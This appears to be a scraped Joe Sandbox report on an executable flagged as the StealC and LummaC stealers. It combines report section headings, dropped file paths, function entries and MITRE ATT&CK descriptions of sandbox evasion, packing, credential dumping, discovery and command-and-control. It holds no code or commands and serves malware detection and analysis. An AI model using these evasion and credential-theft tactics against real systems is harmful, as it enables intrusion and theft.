Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report u1z7S3hr06.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe.log

C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe

C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Windows Analysis Report
u1z7S3hr06.exe

Function 001E750B Relevance: 1.6, APIs: 1, Instructions: 132
libraryCOMMON

Function 001EBACE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 94
fileCOMMON

Function 001F493C Relevance: 4.6, APIs: 3, Instructions: 57
registryCOMMON

Function 001E76BA Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 145
libraryCOMMON

Function 001EBADE Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 31
fileCOMMON

Function 001EB7AF Relevance: 1.6, APIs: 1, Instructions: 63
fileCOMMON

Function 04C10D41 Relevance: 1.6, APIs: 1, Instructions: 60
COMMON

Function 04C10D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Function 04C11509 Relevance: 1.6, APIs: 1, Instructions: 56
serviceCOMMON

Function 04C11510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Function 04C11301 Relevance: 1.5, APIs: 1, Instructions: 48
COMMON

Function 04C11308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Function 001EB7A9 Relevance: 1.5, APIs: 1, Instructions: 47
fileCOMMON

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre